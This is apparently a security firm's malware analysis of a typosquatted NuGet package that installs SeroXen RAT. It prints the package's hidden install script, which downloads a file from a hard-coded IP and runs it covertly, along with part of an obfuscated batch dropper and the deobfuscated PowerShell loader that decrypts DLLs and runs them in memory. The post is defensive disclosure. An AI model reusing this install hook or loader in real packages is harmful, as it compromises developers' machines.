Phylum Discovers SeroXen RAT in Typosquatted NuGet Package
On October 6, 2023, Phylum’s automated risk detection platform alerted us to a suspicious publication on NuGet. After working through several layers of obfuscation we ultimately discovered that this package was delivering SeroXen RAT.
Background
The package in question is Pathoschild.Stardew.Mod.Build.Config
published by a user called Disti. The package is a typosquat of a legitimate package called Pathoschild.Stardew.ModBuildConfig. Notice that lack of dots in the “ModBuildConfig” part — the legitimate package does NOT contain the dots.
--cta--
The legitimate package has been around since 2016, contains dozens of versions, and has around 79K total downloads. The malicious package was released first on October 6, 2023 and has three versions with the following download stats:
Version | Pathoschild.Stardew.Mod.Build.Config Downloads (last 6 weeks) |
---|---|
6.5.3 | 47 |
6.5.2 | 100,049 |
6.5.1 | 45 |
It’s worth noting that it’s highly unlikely this package has legitimately amassed 100K downloads in a matter of days. In fact, looking at the download stats by Client Name shows that 100,054 of the total downloads were done so by a client named “unknown”. This is likely some sort of download count increasing scheme in an effort to bolster credibility. According to Disti’s NuGet profile, they have 6 packages with 2.1M total downloads!
At first glance, this might look like a well-established profile but let’s take a quick look at another package of theirs, KucoinExchange.Net
for example:
Version | KucoinExchange.Net Downloads (last 6 weeks) |
---|---|
5.0.3 | 211,506 |
5.0.2 | 211,509 |
5.0.1 | 211,510 |
Again, we’re likely seeing some download inflation scheme. I’m sure the chances of having download counts spread nearly evenly in such large numbers across three versions in just 2 days is…small. We did take a look at Disti’s other package and discovered they are all trying to deploy SeroXen so stay clear of anything published by this user.
A Malicious Install Script
In NuGet, you can execute arbitrary code during installation of a package by including a tools/init.ps1
or tools/install.ps1
file in your project. Pathoschild.Stardew.Mod.Build.Config
happens to contain both and they’re both identical. As an aside, you can also include a tools/uninstall.ps1
that will run when you uninstall the package. This package also has one of those, so this actor is clearly covering all their bases. Let’s take a look at tools/init.ps1
:
$a = "<http://66.23.238.220/assets/images/icons/svg/x.bin>"
# IGBOAT Crew
$y = "$env:temp\\xxxxx.cmd"
$sleepTheGodFilePath = Join-Path $env:LocalAppData "Temp\\SleepTheGod"
if (-not (Test-Path $sleepTheGodFilePath)) {
New-Item -ItemType File -Path $sleepTheGodFilePath -Force | Out-Null
Invoke-WebRequest -Uri $a -OutFile $y -ErrorAction SilentlyContinue | Out-Null
Start-Process "cmd" "/c $y" -WindowStyle Hidden
}
This script first defines a remote URL and sets it to $a
and then sets $y
to be a path to a .cmd
file in the system’s temporary directory. Then $sleepTheGodFilePath
is assigned a filepath within the local application data temporary folder. If a file at $sleepTheGodFilePath
does not already exist, it creates it and then uses Invoke-WebRequest
to download whatever is at the URL defined in $a
and save it to the path defined in $y
. Then it silently executes the downloaded .cmd
file using Start-Process
with the cmd
. The -WindowStyle Hidden
is an option that allows this script to not produce visible output or errors to the user, running covertly in the background.
The x.bin
File
After downloading and inspecting this file, there are a few interesting things to note. First, it places it in an svg
folder and assigns a .bin
extension. However, it’s neither a binary file nor an svg file. It’s a highly obfuscated batch script that looks like this:
%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%bEyvMqrpcf%@%bEyvMqrpcf%s%bEyvMqrpcf%e%bEyvMqrpcf%t%bEyvMqrpcf% "SZHrFPffuPjOGuNUhfBUTLLuAgxfAxaQoSPuXNAUdpRbIKcmMCzTgTRGNNrWSAdwnSXlbTxTffpbrikoDJSyyGiUBIdKTaCdLVmokqJqFdnBcnNcaDTIggygiDjSnkzDcKQVwwEKAZqRRhqMvAhQHrydXFFgGoCSdjWRWqhfzIIFndOAKWXnDhvjMlyooVEJWWmhKYnDQBRziqorpFVhQNPxnlEjrrpaEzhQqgokhTVBOwAUxEyiAUqIGorWUDJXKovjJWBJOjAwqOgrlimnuGaiGXJBmRPcKxpYBPKXCnTOTvQqHAjlOTcDMLbkNzUxTUkuWHqVWOlFlMNLGQrmgbOoSlLolYJCSWuzIVSAINNAhXQzyQcwGgOpGwZkvBiyFilNSNCjxrdRONGuULpTvMwkHCrMwhEGcPvzlCfiOuyMCwaqofPiKOCqmAGQTomOnXmySGHRfHFBNhhKYBVPRUwONCLkwNNYFiXcIbWhWxCCIAbERvpSRWwRaXjQvUVQrfwdIECxbnqURrFMYGSAWuGhmFBjrGlBZjJ=%bEyvMqrpcf%@%bEyvMqrpcf%e%bEyvMqrpcf%c%bEyvMqrpcf%h%bEyvMqrpcf%o%bEyvMqrpcf% %bEyvMqrpcf%o%bEyvMqrpcf%f%bEyvMqrpcf%f%bEyvMqrpcf%"
This file is over 12K lines so the snippet above is just a very small portion of it. At first glance, it’s hard to tell what this file even is and it’s plausible if one were to open it in a text editor without scrutinizing it, one might think it is a binary file. However, this file uses several obfuscation techniques to make it look like a mess:
- It uses undefined variables to take up space
- Variables are used to build up other variables which are used in commands
- Variable substring replacement is used to make useful strings out of variables that look like nothing
In other words, they are deliberately inflating this file to make it unreadable. Just to get a sense of what’s going on though, take this line
%bEyvMqrpcf%@%bEyvMqrpcf%s%bEyvMqrpcf%e%bEyvMqrpcf%t%bEyvMqrpcf%
You’ll notice a bunch of %s
in there. In a batch file, you can use %name%
to reference an environment variable and, conveniently for this attacker, if the named variable doesn’t exist, it’s replaced with an empty string without error. Therefore, %bEyvMqrpcf%
probably doesn’t exist as an environment variable on anyone’s system, so it’s effectively replaced with an empty string. Working through that reveals @set
. This pattern is repeated through the file. The names change throughout the script, however, so you have to be careful with how you write your deobfuscator.
Working through this reveals that the batch file is constructing and subsequently executing a PowerShell script. The PowerShell script it built up is as follows:
function jITZm($nVacP) {
$YEcJp = [System.Security.Cryptography.Aes]::Create();
$YEcJp.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$YEcJp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$YEcJp.Key = [System.Convert]::FromBase64String('rsgl/MlG9RpV+f8a4O91CIDZB7uAmjlRZsiYva/VKtE=');
$YEcJp.IV = [System.Convert]::FromBase64String('l0QnNI6RLMtaIunOWzJNKg==');
$ublQu = $YEcJp.CreateDecryptor();
$return_var = $ublQu.TransformFinalBlock($nVacP, 0, $nVacP.Length);
$ublQu.Dispose();
$YEcJp.Dispose();
$return_var;
}
function XhiOz($nVacP) {
$dJFVk = New-Object System.IO.MemoryStream(, $nVacP);
$tPjrM = New-Object System.IO.MemoryStream;
$dawTU = New-Object System.IO.Compression.GZipStream($dJFVk, [IO.Compression.CompressionMode]::Decompress);
$dawTU.CopyTo($tPjrM);
$dawTU.Dispose();
$dJFVk.Dispose();
$tPjrM.Dispose();
$tPjrM.ToArray();
}
function szwqu($nVacP, $OeJLJ) {
$QcBOA = [System.Reflection.Assembly]::Load([byte[]]$nVacP);
$aHhbF = $QcBOA.EntryPoint;
$aHhbF.Invoke($null, $OeJLJ);
}
$RXKsk = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($mewwS in $RXKsk) {
if ($mewwS.StartsWith('SEROXEN'))
{ $PpAgM = $mewwS.Substring(7); break;
}
}
$vCEpW = [string[]]$PpAgM.Split('\\');
$yOgCY = XhiOz (jITZm ([Convert]::FromBase64String($vCEpW[0])));
$ZqKkr = XhiOz (jITZm ([Convert]::FromBase64String($vCEpW[1])));
szwqu $ZqKkr (, [string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
szwqu $yOgCY (, [string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
For readability, we made some minor modifications to the PowerShell script above such formatting and we also had to reverse the method names because they were dynamically being reversed at runtime so they were hard to read. Ultimately though, this script finds the first line in the batch script which begins with “SEROXEN” and subsequently decrypts and decompresses two DLLs from base64 encoded strings on that line before executing them in the same PowerShell process. This is deploying the SeroXen RAT!
We were able to decrypt, decompress, and extract the DLLs. Here are their VirusTotal links:
- first dll (payload2): https://www.virustotal.com/gui/file/e7dc6a2f0c65a2c6f3d7cc2a11c3fd2acb4e23af1e55a8769366766ee22278c3/detection
- second dll (cevm): https://www.virustotal.com/gui/file/8bf56c92865fade8d06d4a57e1d049bccd3041842b2a1c71503a29729a71073d/behavior
Both of these DLLs use different obfuscation techniques and we went further to extract an executable from the first one called payload.exe
. Here is its VirusTotal link:
- https://www.virustotal.com/gui/file/075acd923103e731e91140e663756699e7379a7f63ea31487434ce04cca02b02
payload.exe
identifies itself as CSStub2, which uses yet another obfuscation technique. At this point we recognized that our exploration likely delved into aspects of SeroXen itself and exceeded the analytical depth necessary for this post and to identify the nature of this payload.
Summary
SeroXen is a newly emerged RAT advertised as a legitimate tool. It is marketed as a ready-to-use package, sold via a designated website making it easily accessible and deployable without the need for deep technical know-how. AT&T Cybersecurity has an excellent post about SeroXen RAT from May of 2023 that discusses the emergence of SeroXen and elaborates on static and dynamic analysis, mentioning its effective evasion from detection due to its fileless nature and utilization of several techniques to thwart virtualization and sandbox detection mechanisms. Coupled with encryption of subsequent payloads and anti-debugging techniques, SeroXen is a formidable threat.
The discovery of SeroXen RAT in NuGet packages only underscores how attackers continue to exploit open source ecosystems and the developers that use them. No ecosystem is safe from attackers. That’s the nature of them; they are open to everyone, good and bad.